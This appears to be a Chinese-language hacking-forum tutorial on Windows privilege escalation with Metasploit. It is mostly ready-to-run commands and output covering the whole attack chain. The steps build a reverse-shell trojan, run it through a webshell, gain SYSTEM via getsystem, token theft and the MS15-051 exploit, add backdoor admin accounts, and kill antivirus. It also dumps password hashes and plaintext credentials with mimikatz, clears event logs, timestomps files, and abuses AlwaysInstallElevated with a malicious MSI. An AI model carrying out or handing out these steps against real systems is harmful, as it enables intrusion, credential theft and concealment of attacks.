標題:Meterpreter提權詳解

taibeihacker

Moderator

0x01 Meterpreter自动提权​

1.生成后门程序​

我們在kali的命令行下直接執行以下命令獲得一個針對windows的反彈型木馬:
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe這裡我們為生成的木馬指定了payload為:
windows/meterpreter/reverse_tcp,反彈到的監聽端地址為172.16.11.2,監聽端口為4444,文件輸出格式為exe並保存到路徑/tmp/hack.exe

2.执行监听​

use
exploit/multi/handler
set payload
windows/meterpreter/reverse_tcp
set LHOST
172.16.11.2
show options
igyauvipi3d23556.gif
輸入exploit命令開啟我們配置的模塊進行監聽:

3.上传并执行木马​

通過腳本木馬上傳並運行,此處假設我們通過一系列的滲透測試得到了目標機器的webshell。我們通過腳本木馬的文件管理功能把我們上述生成的木馬hack.exe上傳成功,並且我們得知,該程序的絕對路徑為:
c:\www\hack.exe接著,我們嘗試通過腳本木馬的命令執行功能運行我們上述上傳的的木馬,
c://www//hack.exe/為避免字符轉義,路徑這裡我們使用的是//
jiv2yb5fgaz23557.gif
那麼在執行之後,我們看到大型腳本木馬顯示為請稍後的狀態,我們切換到之前監聽的Metasploit命令行窗口,可以看到,目標機正在回連,且Meterpreter會話創建成功:
f5wu514lzez23559.gif

4.
Meterpreter基礎提權Meterpreter是
Metasploit 框架中的一個殺手鐧,通常作為漏洞溢出後的攻擊在和使用, 攻擊在和在出發漏洞後能夠返回給我們一個控制通道.接下來我們使用Meterpreter會話進行自動化提權操作,直接執行以下命令,MSF會自動選擇合適的方式來提升當前權限:
getsystem
cb2q5wh4pfc23560.jpg
如上返回則說明Meterpreter會話自動提權成功。這個時候,如果我們此目標機屬於某個域環境內,並且有域管理員運行的進程,我們就可以從一個指定的進程PID中竊取一個域管理員組令牌,做一些有意思的事(如:添加一個域賬戶,並把域賬戶添加到域管理員組中)。在Meterpreter會話執行ps命令查看目標機當前進程:假設此處看到了一個進程,運行賬戶是域管理員,我們可以再第一欄找到對應的進程PID,(實際我們這裡找個任意的SYSTEM賬戶運行的進程),PID為2584:
dxofdyjmnev23561.gif
然後我們可以執行以下語句竊取該用戶進程的令牌:
steal_token 2584
fdpgkq1xhyy23562.jpg
這種方式一般被用於盜取域管理員的token,然後我們執行
getuid看一下會發現當前已經冒稱SYSTEM用戶成功:
tp1kxchye4x23564.gif
既然已經是SYSTEM權限,接著我們嘗試執行以下命令從SAM數據庫中導出密碼的哈希值:`注意`:在windows
2008 中,如果getsystem命令和hashdump命令拋出異常情況時,你需要遷移到一個以SYSTEM系統權限運行的進程中,我們後續介紹。執行以下shell命令在一個Meterpreter會話界面中使用cmd shell:
jxtmzb1uiph23566.jpg
此cmdshell當然是繼承的Meterpreter會話的system權限,我們嘗試在目標機器執行以下cmd命令添加一個賬戶test:
net user test
v5est0r /add
net localgroup administrators test /add
bticcact3fo23567.jpg
隨後我們利用Meterpreter會話打開目標機器遠程桌面服務的3398端口(此模塊根據實踐測試僅支持windows 2003的主機):
run getgui -e
qezcjbc1cke23568.jpg
最後我們新建一個終端窗口,執行以下命令調用rdesktop連接目標機器的遠程桌面:
rdesktop -u
test -p v5est0r 172.16.12.2-u:制定用戶名-p:指定密碼
o5qtacsl5v323569.jpg

0x02
溢出漏洞模塊提權
一般來說webshell對應的web服務的權限是很低的,一般都是user權限的,但也遇到過某些服務器執行後就直接是system最高權限。像這種情況一般直接加用戶。如果權限較低,我們要把它提升到system權- Windows最高權限,黑客一般通過提權的EXP程序進行提權,我們會在後續的實驗裡介紹。當然,在MSF下調用溢出漏洞模塊提權也是個好辦法。緩衝區溢出:緩衝區是用戶為程序運行時在計算機中申請的一段連續的內存,它保存了給定類型的數據。緩衝區溢出指的是一種常見且危害很大的系統攻擊手段,通過向程序的緩衝區寫入超出其長度的內容,造成緩衝區的溢出,從而破壞程序的堆棧,使程序轉而執行其他的指令,以達到攻擊的目的。更為嚴重的是,緩衝區溢出攻擊佔了遠程網絡攻擊的絕大多數,這種攻擊可以使得一個匿名的Internet用戶有機會獲得一台主機的部分或全部的控制權!由於這類攻擊使任何人都有可能取得主機的控制權,所以它代表了一類極其嚴重的安全威脅。
1.
調用漏洞模塊首先,請參照上述Meterpreter自動提權部分的實驗內容獲得目標機器的一個可用的Meterpreter會話,接著我們在Meterpreter會話輸入以下命令:
background
//把你當前的Meterpreter會話轉為後台執行。接著我們在MSF命令行執行以下命令搜索微軟2015年的可用漏洞模塊:
search
ms15 //搜索關鍵字相關的漏洞如下圖,我們查到了許多漏洞模塊:
lsmuzldcuuw23570.gif
我選擇了MS15_051這個漏洞進行提權,執行以下命令:
use
exploit/windows/local/ms15_051_client_copy_image然後我們需要為此活動模塊指定為哪個session進行提權操作,我們執行以下命令指定服務session為1:
setSESSION
1 //設置會剛才我們後門連接的ID號1,我們這裡只有一個會話,直接連接1
gmctsdko2s323572.jpg

2.
執行溢出接著我們直接執行以下命令調用漏洞模塊進行提權操作:
exploit
gqgpkel3uag23573.jpg
根據返回信息我們可以看見沒有創建新的session,並提醒當前已經被提升到了system權限。如果當前不是system權限,將會被提升到system的一個進程,並提供出進程pid.一般來說,即使提權成功,我們執行以下命令返回連接會話,但你getuid看下還是看見的還是原來的權限。
sessions
-i 1執行ps一下查看進程
d30tqr2qfqm23574.gif
根據剛才的提示找到上述提供的PID的進程,我們這裡就隨意找了一個SYSTEM權限進行的進程,PID為3240然後我們要用到migrate命令,將當前會話進程遷移到一個指定的進程ID
migrate
3240
3o2bkqnvnok23575.jpg
如上圖可見,進程遷移成功。然後我們再執行getuid看下可以看見當前為system權限了。
sm5mc4mxfvr23576.jpg

0x03
後續提權操作1.
基本信息蒐集檢測目標機是否為虛擬機。在Meterpreter會話執行以下命令即可:
run
post/windows/gather/checkvm #是否虛擬機,此處判斷並不准確,模塊代碼仍需完善通過meterpreter的killav腳本來殺死目標主機運行的殺毒軟件,在Meterpreter會話執行以下命令即可:
run killav
cbeboms2vfm23577.jpg
看來此模塊仍需完善,此處殺掉的進程是cmd。不過有時候還是有用的。獲取安裝軟件信息,在Meterpreter會話執行以下命令即可:
run post/windows/gather/enum_applications #獲取安裝軟件信息
gaiwiqtky2f23579.jpg
獲取目標機器最近的文件操作,在Meterpreter會話執行以下命令即可:
run post/windows/gather/dumplinks #獲取最近的文件操作
2.
hash與明文密碼讀取獲取目標機系統用戶Hash,在Meterpreter會話執行以下命令即可:
run post/windows/gather/smart_hashdump
Running module against TESTINGHashes will be
saved to the database if one is connected.Hashes will be saved in loot in
JtR password file format
to:/home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txtDumping
password hashes.Running as SYSTEM extracting hashes from registry
Obtaining the boot key. Calculating
the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239.
Obtaining the user list and keys.
Decrypting user keys. Dumping
password hints.
[+] Croxy:'Whoareyou'
Dumping password hashes.
[+]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:
[+]
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:
[+]
test:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:如上我們獲得了本地賬戶的hask,獲取明文密碼,我們需要先載入mimikatz模塊,在Meterpreter會話執行以下命令即可:
load mimikatz然後需要確保當前進程為系統權限,直接執行以下命令:
msv
usuy5rrgslj23580.jpg
如上圖,返回了以下信息:
[+] Running as SYSTEMRetrieving msv credentials上述返回信息表明當前進程是`SYSTEM`權限.然後執行以下命令即可導出系統用戶明文密碼:
kerberos如下圖,成功導出了明文密碼,test用戶密文為v5est0r:
wwq4kfjvpkq23581.gif
執行以下命令通過mimikatz命令行方式導出系統用戶hash:
meterpreter mimikatz_command -f
samdump:hashes
2nbttvivwk023583.jpg
執行以下命令通過`mimikatz`命令行方式導出系統用戶的明文密碼:
mimikatz_command -f sekurlsa:searchPasswords
lwthtgh4dns23584.jpg

3.
清理痕跡直接執行以下命令:
clearev可以看到如下返回:
meterpreter clearev
cocuzcsfljo23585.jpg
可以看到該模塊正在從應用、系統、安全模塊三個方面清理歷史記錄痕跡。其實MSF還提供了timestomp功能模塊還修改文件時間,但實戰測試中意義並不大,我們在這裡只做科普:
meterpreter timestomp c:\\www -c
'09/09/1980 12:12:34' 修改文件創建時間
meterpreter timestomp c:\\jzking121.txt -m '01/01/1991
12:12:34'修改文件修改時間
meterpreter timestomp c:\\jzking121.txt -f c:\\RHDSetup.log 講文件RHDSetup.log屬性複製到jzking121實際測試使用偶爾有報錯,可以登入服務器手工改文件時間。
0x04
AlwaysInstallElevated提權

1.生成MSI安装文件​

假設我們拿到Meterpreter會話後並沒能通過一些常規方式取得SYSTEM權限,AlwaysInstallElevated提權可能會為我們帶來一點希望。
AlwaysInstallElevated是微軟允許非授權用戶以SYSTEM權限運行安裝文件(MSI)的一種設置。然而,給予用於這種權利會存在一定的安全隱患,因為如果這樣做下面兩個註冊表的值會被置為'1':
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
'AlwaysInstallElevated'=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
'AlwaysInstallElevated'=dword:00000001想查詢這兩個鍵值最簡單的方法就是使用CMD命令,我們先在Meterpreter會話下執行shell切換`cmdshell:在cmdshell下分別執行以下命令可以查詢上述的註冊表鍵值:
reg
query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
uxycwjh4d5023586.jpg
我們這裡的查詢是報錯的。注意:如果這條命令出錯類似於:The system was unable to find the
specified registry key or value或者:錯誤: 系統找不到指定的註冊表項或值。這可能是組策略裡AlwaysInstallElevated沒有被定義,因此不存在相關聯的註冊表項。現在我們假設AlwaysInstallElevated已經啟用了,我們可以利用msfvenom工具來生成一個在目標機器上增加管理員用戶的MSI安裝文件:
msfvenom
-p windows/adduser USER=msi PASS=P@ssword123! -f msi -o /tmp/add.msi
//此處指定了添加的用戶,用戶名為msi,密碼為:P@ssword123!
elnzmrl4vkr23587.jpg
如上圖返回,MSI文件已經成功生成到了/tmp/add.msi

2.执行MSI文件提权​

接著我們把該安裝文件上傳到目標機的c:\\add.msi:執行以下命令即可:
upload
/tmp/add.msi c:\\add.msi
utaumch5rhx23588.jpg
當我們在目標機器上成功上傳了新生成的MSI文件後,我們可以使用Windows命令行Msiexec工具進行安裝(需要先執行shell命令切換`cmdshell):
shell
msiexec /quiet /qn /i c:\add.msi
j5ykf2rat4a23589.jpg

msiexec相關參數解釋如下:
/quiet:安裝過程中禁止向用戶發送消息
/qn:不使用GUI
/i:安裝程序執行後,我們可以在目標機器上檢測我們新創建的管理員用戶,cmdshell下執行以下命令查看管理組用戶列表:
net
localgroup administrators
 
返回
上方